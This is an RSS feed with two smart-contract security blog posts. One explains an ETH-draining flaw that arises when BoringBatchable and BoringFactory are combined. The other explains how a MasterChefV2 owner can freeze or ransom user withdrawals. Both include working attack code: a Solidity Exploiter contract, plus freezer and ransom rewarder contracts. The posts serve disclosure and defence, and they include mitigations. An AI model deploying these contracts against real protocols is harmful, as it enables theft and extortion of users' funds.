<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>onewayfunction</title>
        <link>https://paragraph.com/@onewayfunction</link>
        <description>Security research. MEV consulting. Crypto nerd. Formerly: Flashbots, 
OpenZeppelin, Augur, OpenBazaar.</description>
        <lastBuildDate>Thu, 30 Apr 2026 09:48:47 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>onewayfunction</title>
            <url>https://storage.googleapis.com/papyrus_images/056c778615c4eee7fc757448a72d452d4135dc46a52a51c1303eaf6fc42916b1.jpg</url>
            <link>https://paragraph.com/@onewayfunction</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Fun with Footguns in BoringSolidity]]></title>
            <link>https://paragraph.com/@onewayfunction/fun-with-footguns-in-boringsolidity-2</link>
            <guid>5Q0z6d9kmXn6ejfyw58U</guid>
            <pubDate>Wed, 26 Jan 2022 18:47:30 GMT</pubDate>
            <description><![CDATA[I came across a fun footgun in the BoringSolidity contracts library and wanted to share it so future devs (and their users) don’t lose a foot. It is closely related to the vuln that samczsun found in the MISO fundraise. Here it is in a single line:contract ThisCanBeDrainedOfETH is BoringBatchable, BoringFactory {} That is to say, any contract that inherits both BoringBatchable and BoringFactory can be drained of all ETH by anyone. We’ll discuss below how it works, but if you want to try to fi...]]></description>
            <content:encoded><![CDATA[<p>I came across a fun footgun in the <code>BoringSolidity</code> contracts library and wanted to share it so future devs (and their users) don’t lose a foot. It is closely related to the vuln that samczsun found in the MISO fundraise. Here it is in a single line:</p><pre data-type="codeBlock" text="contract ThisCanBeDrainedOfETH is BoringBatchable, BoringFactory {}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ThisCanBeDrainedOfETH</span> <span class="hljs-keyword">is</span> <span class="hljs-title">BoringBatchable</span>, <span class="hljs-title">BoringFactory</span> </span>{}
</code></pre><p>That is to say, any contract that inherits both <code>BoringBatchable</code> and <code>BoringFactory</code> can be drained of all ETH by anyone. We’ll discuss below how it works, but if you want to try to figure it out yourself, you can find the <code>BoringBatchable</code> contract <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol">here</a> and the <code>BoringFactory</code> contract <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol">here</a>.</p><h2 id="h-boringbatchable-and-samczsuns-save" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">BoringBatchable and samczsun’s save</h2><p>The <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/tree/9e5f49f4453acebe99693c1619ca873829df0962/contracts">BoringSolidity contracts</a> are a suite of contracts -- akin to OpenZeppelin Contracts -- that can be used to add commonly needed functionality to your own contracts. The suite is popular in some DeFi circles.</p><p>The <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol#L15">BoringBatchable contract</a> allows a caller to batch together several calls to the inheriting contract and have them all executed in a single transaction -- saving gas and improving UX. This is achieved via the <code>batch</code> function, which loops over the user’s calls and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol#L38">causes the contract to delegate call into itself</a> to perform each of the calls.</p><p>Critically, the <code>batch</code> function is <code>payable</code>, meaning that for <em>every</em> <code>delegatecall</code> in the loop, <code>mgs.value</code> is potentially a positive number: the amount of ETH that was originally sent when calling the <code>batch</code> function. This means that the user <em>may</em> be able to spend the same ETH more than once during a batch.</p><p>(Yes, this is itself a footgun, and a now-famous one. But it’s not the footgun this article is about.)</p><p>This was brought to light in spectacular fashion when <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.paradigm.xyz/2021/08/two-rights-might-make-a-wrong/">samczsun discovered it</a> in an auction contract related to a SushiSwap’s MISO fund raise (and subsequently helped save over 109k ETH).</p><p>The discovery <em>did</em> lead to a change in the <code>BoringBatchable</code> contract, but it’s not the change you might have expected. The change wasn’t to make the <code>batch</code> function non-payable. It was to add the following <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol#L10">warning in a comment</a> above the <code>batch</code> function that we must hope devs will read:</p><blockquote><p>Combining BoringBatchable with msg.value can cause double spending issues</p></blockquote><p>Suspecting that some devs who used the library won’t have read the warning, I set out looking for any contracts that inherit <code>BoringBatchable</code> and use <code>msg.value</code> anywhere in their code.</p><p>And that’s when I noticed that <code>BoringSolidity</code>‘s very own <code>BoringFactory</code> contract lets anyone forward <code>msg.value</code> ETH to a contract they can control. This means that the <code>BoringFactory</code> contract can be used in conjunction with <code>BoringBatchable</code> to drain any contract that inherits them both.</p><h2 id="h-boringfactory-as-an-eth-forwarder" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">BoringFactory as an ETH-forwarder</h2><p>The <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L7">BoringFactory contract</a> is a straightforward contract that allows any caller <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L20">to deploy</a> a copy of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L21">any contract that they want</a>, and have <code>msg.value</code> ETH <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L51">sent</a> from the <code>BoringFactory</code> contract to the newly deployed contract’s <code>init</code> function.</p><p>So, for example, one could deploy the following contract:</p><pre data-type="codeBlock" text="contract MasterContractToClone is IMasterContract {
  function init(bytes calldata data) external override payable { 
    payable(tx.origin).transfer(address(this).balance);
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">MasterContractToClone</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IMasterContract</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{ 
    <span class="hljs-keyword">payable</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>).<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
  }
}
</code></pre><p>Then, any call to <code>BoringFactory</code>’s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol#L20">deploy function</a> that passes in the address of the above contract as the <code>masterContract</code> will result in <code>msg.value</code> ETH being sent to the top-level caller (<code>tx.origin</code> in this case).</p><h2 id="h-putting-it-all-together" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Putting it all together</h2><p>So suppose we have a contract that inherits both <code>BoringBatchable</code> and <code>BoringFactory</code>:</p><pre data-type="codeBlock" text="contract ThisCanBeDrainedOfETH is BoringBatchable, BoringFactory {}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ThisCanBeDrainedOfETH</span> <span class="hljs-keyword">is</span> <span class="hljs-title">BoringBatchable</span>, <span class="hljs-title">BoringFactory</span> </span>{}
</code></pre><p>How do we drain it?</p><p>We start by deploying the following <code>Exploiter</code> contract:</p><pre data-type="codeBlock" text="interface IExploitable {
  function batch(bytes[] calldata calls, bool revertOnFail) external payable;
}

contract Exploiter {
  bytes[] public calls;

  // you&apos;ll end up stealing 10x the amount of your msg.value, assuming the 
  // exploitable contract holds that much.
  function exploit(address _exploitableContract) external payable {
    require(msg.value &gt; 0, &quot;must send some ETH&quot;);
    
    // deploy MasterContractToClone
    address masterContractToClone = address(new MasterContractToClone());

    // set calls for batch
    delete calls;
    bytes memory data = &quot;0x123456&quot;;
    bytes memory _data = abi.encode(masterContractToClone, data, false);
    bytes memory call = abi.encodePacked(bytes4(keccak256(bytes(&quot;deploy(address,bytes,bool)&quot;))), _data);
    for (uint256 i = 0; i &lt; 11; i++) {
      calls.push(call);
    }

    // exploit batch + deploy functions
    IExploitable(_exploitableContract).batch{value: msg.value}(calls, true);
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IExploitable</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">batch</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">calldata</span> calls, <span class="hljs-keyword">bool</span> revertOnFail</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Exploiter</span> </span>{
  <span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">public</span> calls;

  <span class="hljs-comment">// you'll end up stealing 10x the amount of your msg.value, assuming the </span>
  <span class="hljs-comment">// exploitable contract holds that much.</span>
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exploit</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _exploitableContract</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span> <span class="hljs-number">0</span>, <span class="hljs-string">"must send some ETH"</span>);
    
    <span class="hljs-comment">// deploy MasterContractToClone</span>
    <span class="hljs-keyword">address</span> masterContractToClone <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-keyword">new</span> MasterContractToClone());

    <span class="hljs-comment">// set calls for batch</span>
    <span class="hljs-keyword">delete</span> calls;
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data <span class="hljs-operator">=</span> <span class="hljs-string">"0x123456"</span>;
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _data <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(masterContractToClone, data, <span class="hljs-literal">false</span>);
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> call <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-keyword">bytes4</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-keyword">bytes</span>(<span class="hljs-string">"deploy(address,bytes,bool)"</span>))), _data);
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> <span class="hljs-number">11</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
      calls.<span class="hljs-built_in">push</span>(call);
    }

    <span class="hljs-comment">// exploit batch + deploy functions</span>
    IExploitable(_exploitableContract).batch{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}(calls, <span class="hljs-literal">true</span>);
  }
}
</code></pre><p>Then we simply call the <code>Exploiter.exploit</code> function, sending along some non-zero amount of ETH. The result is that, at the end of the transaction, the caller will have received 10x the amount of ETH they sent to the call (but no more than the vulnerable contract originally held, of course).</p><p>You can play around with this yourself in Remix using this <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gist.github.com/Austin-Williams/edf598929ae8e8a294d58937f2c49a47">proof-of-concept code</a>.</p><h2 id="h-wait-why-is-this-fun" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Wait, why is this fun?</h2><p>This is a dangerous footgun. But as a security researcher, it was a fun one because it revealed a blindspot in my own thinking. <code>BoringBatchable</code>, by itself, is not broken. (It’s a hell of a footgun all on its own, but by itself it doesn’t introduce any critical vulnerabilities). The same is true of <code>BoringFactory</code>. But when you combine these two contracts -- from the same contract suite! -- they create a theft-of-ETH vulnerability that can be exploited by anyone. This isn’t something I’d seen before, where two contracts from the contract contract suite are independently safe, but unsafe to use together.</p><h2 id="h-whos-affected" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Who’s affected?</h2><p>I used Etherscan&apos;s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/searchcontract">search contract feature</a> to find projects with this vulnerability present. I found only two such projects that are actively used -- <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xf5bce5077908a1b7370b9ae04adc565ebd643966">SushiSwap&apos;s BentoBoxV1</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xd96f48665a1410c0cd669a88898eca36b9fc2cce#code">Abracadabra.Money: Degenbox</a> (these are near duplicates of each other).</p><p>Neither of these have any meaningful amount of ETH in the them, and both are <em>designed</em> not to hold any ETH. Additionally both could be drained of ETH in other, in-protocol (intended) ways if needed.</p><p>So as far as I can tell, no funds are currently at risk with this vulnerability. Hopefully this article helps keep it that way. :)</p><p>If you found this helpful, please consider contributing to my <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/Austin-Williams/pro-bono-spot-checks">security spot checks project</a>.</p><p>Stay safe out there. Cheers!</p>]]></content:encoded>
            <author>onewayfunction@newsletter.paragraph.com (onewayfunction)</author>
        </item>
        <item>
            <title><![CDATA[Principal Freezing and Ransom Attacks with MasterChefV2]]></title>
            <link>https://paragraph.com/@onewayfunction/principal-freezing-and-ransom-attacks-with-masterchefv2</link>
            <guid>V6l8tjA9bq5e40cN2B8x</guid>
            <pubDate>Wed, 19 Jan 2022 04:39:28 GMT</pubDate>
            <description><![CDATA[One of the services I&apos;ve been offering for the past several months is quick (less than 2hr) security checks of yield farming pools. I look for rug-pull potential and security risks in yield farming contracts to help protect would-be farmers and LPs. I basically try to spot trouble with farms before a user puts their funds at risk. As you you might imagine, I&apos;ve seen countless forks of MasterChef -- both its original incarnation and its official second version, MasterChefV2. I&apos;v...]]></description>
            <content:encoded><![CDATA[<p>One of the services I&apos;ve been offering for the past several months is quick (less than 2hr) security checks of yield farming pools. I look for rug-pull potential and security risks in yield farming contracts to help protect would-be farmers and LPs. I basically try to spot trouble with farms before a user puts their funds at risk.</p><p>As you you might imagine, I&apos;ve seen countless forks of <code>MasterChef</code> -- both its <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xc2edad668740f1aa35e4d8f227fb8e17dca888cd">original incarnation</a> and its official second version, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xef0881ec094552b2e128cf945ef17a6752b4ec5d#code">MasterChefV2</a>. I&apos;ve seen all manner of shenanigans and optimizations, but this article is about a property of the official <code>MasterChefV2</code> and any fork that remains faithful to its original functionality.</p><p>One benefit of the original <code>MasterChef</code> is that the owner of the contract cannot steal a user&apos;s principal, even if the owner were malicious. A malicious owner might be able to mess with a user&apos;s rewards, but they could never prevent a user from getting back the LP tokens they had initially invested. For example, with the original <code>MasterChef</code>, a user can always call the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xc2edad668740f1aa35e4d8f227fb8e17dca888cd#code#L1596">emergencyWithdraw</a> function to retrieve their LP tokens, and there is nothing in the world that the owner of the <code>MasterChef</code> contract can do to prevent that.</p><p>By contrast, the owner of a <code>MasterChefV2</code> contract can freeze any user&apos;s principal at will. This freezing can be parlayed into a ransom attack, whereby users are able to remove their principal from <code>MasterChefV2</code> if and only if they&apos;ve paid the owner a ransom.</p><p>This property of <code>MasterChefV2</code> means that I always have to perform additional safety checks (discussed below) on the owner and the values/addresses they set in <code>MasterChefV2</code>. It also means the client/user needs to make sure they have good alerting set up to catch any shenanigans the owner may try to pull.</p><h2 id="h-how-it-works-the-freeze" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">How it works: The Freeze</h2><p>The key to freezing user’s funds is the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/sushiswap/sushiswap/blob/271458b558afa6fdfd3e46b8eef5ee6618b60f9d/contracts/MasterChefV2.sol#L131">“set” function</a>, which the owner can call at any time, including after a pool has been initialized and users have deposited LP tokens. The <code>set</code> function allows the owner <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/sushiswap/sushiswap/blob/271458b558afa6fdfd3e46b8eef5ee6618b60f9d/contracts/MasterChefV2.sol#L134">to assign</a> a <code>rewarder</code> to a pool (or update a pool&apos;s <code>rewarder</code> if it already has one). The <code>rewarder</code> is a contract that implements a mutable <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/sushiswap/sushiswap/blob/271458b558afa6fdfd3e46b8eef5ee6618b60f9d/contracts/interfaces/IRewarder.sol#L7">“onSushiReward” function</a>, which can be anything the owner wants.</p><p>This function on the <code>rewarder</code> is called during both <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/sushiswap/sushiswap/blob/271458b558afa6fdfd3e46b8eef5ee6618b60f9d/contracts/MasterChefV2.sol#L244">the “withdraw” function</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/sushiswap/sushiswap/blob/271458b558afa6fdfd3e46b8eef5ee6618b60f9d/contracts/MasterChefV2.sol#L321">the “emergencyWithdraw” function</a> -- which are the only two functions that a user can call to get their LP tokens out of the contract.</p><p>To freeze all users’ LP tokens for a given pool, the owner can call the <code>set</code> function and set the <code>rewarder</code> of the pool to be the following contract:</p><pre data-type="codeBlock" text="contract BadRewarder {
  function onSushiReward(...) external {
    revert(&apos;lulz&apos;);
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">BadRewarder</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onSushiReward</span>(<span class="hljs-params">...</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">revert</span>(<span class="hljs-string">'lulz'</span>);
  }
}
</code></pre><p>The result would be that all user&apos;s attempts to withdraw would result in a reverting transaction.</p><p>If so desired, the owner can make the freeze selective, singling out individual users, by setting the <code>rewarder</code> to a contract like this:</p><pre data-type="codeBlock" text="contract SelectiveFreezer {
  mapping (address =&gt; bool) public isFrozen;

  function setIsFrozen(address _user, bool _isFrozen) external onlyOwner {
    isFrozen[_user] = _isFrozen;
  }

  function onSushiReward(...) external {
    if (isFrozen[user]) revert(&apos;lulz&apos;);
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SelectiveFreezer</span> </span>{
  <span class="hljs-keyword">mapping</span> (<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">bool</span>) <span class="hljs-keyword">public</span> isFrozen;

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setIsFrozen</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _user, <span class="hljs-keyword">bool</span> _isFrozen</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    isFrozen[_user] <span class="hljs-operator">=</span> _isFrozen;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onSushiReward</span>(<span class="hljs-params">...</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">if</span> (isFrozen[user]) <span class="hljs-keyword">revert</span>(<span class="hljs-string">'lulz'</span>);
  }
}
</code></pre><h2 id="h-how-it-works-the-ransom" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">How it works: The Ransom</h2><p>It is commonly the case that a DoS attack, like the above &quot;freeze&quot; attack, can be parlayed into a ransom attack. It’s just the old “pay me and I’ll stop DoS-ing you“ bit, but in smart contract form.</p><p>A malicious <code>MasterChefV2</code> owner could set the <code>rewarder</code> to be a contract similar to this one:</p><pre data-type="codeBlock" text="contract Ransom {
  uint256 constant public requiredRansom = 1 ether;
  mapping (address =&gt; bool) public hasPaidRansom;

  function payRansom() external payable {
    require(msg.value &gt;= requiredRansom, &apos;send more money&apos;);
    hasPaidRansom[msg.sender] = true;
  }

  function onSushiReward(...) external {
    if (!hasPaidRansom[user]) revert(&apos;must pay ransom&apos;);
  }

  function collectRansom() external onlyOwner {
    payable(owner).transfer(address(this).balance);
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Ransom</span> </span>{
  <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">constant</span> <span class="hljs-keyword">public</span> requiredRansom <span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>;
  <span class="hljs-keyword">mapping</span> (<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">bool</span>) <span class="hljs-keyword">public</span> hasPaidRansom;

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">payRansom</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span><span class="hljs-operator">=</span> requiredRansom, <span class="hljs-string">'send more money'</span>);
    hasPaidRansom[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onSushiReward</span>(<span class="hljs-params">...</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>hasPaidRansom[user]) <span class="hljs-keyword">revert</span>(<span class="hljs-string">'must pay ransom'</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">collectRansom</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    <span class="hljs-keyword">payable</span>(owner).<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
  }
}
</code></pre><p>The malicious owner would then need to verify this contract on Etherscan, and then transfer ownership of the <code>MasterChefV2</code> instance to the zero address.</p><p>The result is that users would be able to withdraw their LP from <code>MasterChefV2</code> if and only if they pay a 1 ETH ransom.</p><p>Note that this is just a simple example, and the malicious <code>rewarder</code> could be made to scale its ransom based on the amount of LP tokens the user had deposited in <code>MasterChefV2</code>.</p><h2 id="h-mitigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Mitigation</h2><p>This property of <code>MasterChefV2</code> means that users must trust the owner. As a result, I always have to perform checks that the owner is, for example, an instance of the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0x9a8541ddf3a932a9a922b607e9cf7301f1d47bd1#code#L185">Timelock contract</a> with a reasonable value for <code>MINIMUM_DELAY</code>, and that the client/user always has good alerting set up to be notified if/when the owner tries to make a change to the <code>MasterChefV2</code> fork. It also means that I need to check the current <code>rewarder</code> (if any) before the user apes into the pool.</p><p>For honest developers who are forking <code>MasterChefV2</code>, I recommend removing the <code>_rewarder.onSushiReward</code> call from the <code>emergencyWithdraw</code> function. The <code>emergencyWithdraw</code> function should be a clear path for users to exit without any possibility of a malicious owner stopping them. (Note that a try/catch <em>could</em> work here, but you would need to be sure not to forward too much gas to the potentially-malicious <code>rewarder</code>, which could otherwise burn enough gas so that the subsequent <code>safeTransfer</code> would always fail). If you don’t make this contract-level fix, then be sure to make the owner an instance of the <code>Timelock</code> contract with a reasonable minimum delay (e.g., 2 days or more).</p><p>For users aping into these <code>MasterChefV2</code> forks, be sure to check for all the things that I do:</p><ul><li><p>Owner should be <code>Timelock</code> with a good minimum delay.</p></li><li><p>If any <code>rewarder</code> is currently set for your pool, it should be verified on Etherscan and its <code>onSushiReward</code> function should have no possibility of reverting or burning a ton of gas.</p></li><li><p>You should have monitoring and alerting set up (e.g., via Etherscan, Tenderly, Forta, etc) so you are notified anytime a change gets queued up in the <code>Timelock</code>, that way you can exit <code>MasterChefV2</code> before a malicious <code>rewarder</code> gets dropped into your pool.</p></li></ul><p>If you found this helpful, please consider contributing to my <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/Austin-Williams/pro-bono-spot-checks">security spot checks project</a>.</p><p>Stay safe out there. Cheers!</p>]]></content:encoded>
            <author>onewayfunction@newsletter.paragraph.com (onewayfunction)</author>
        </item>
    </channel>
</rss>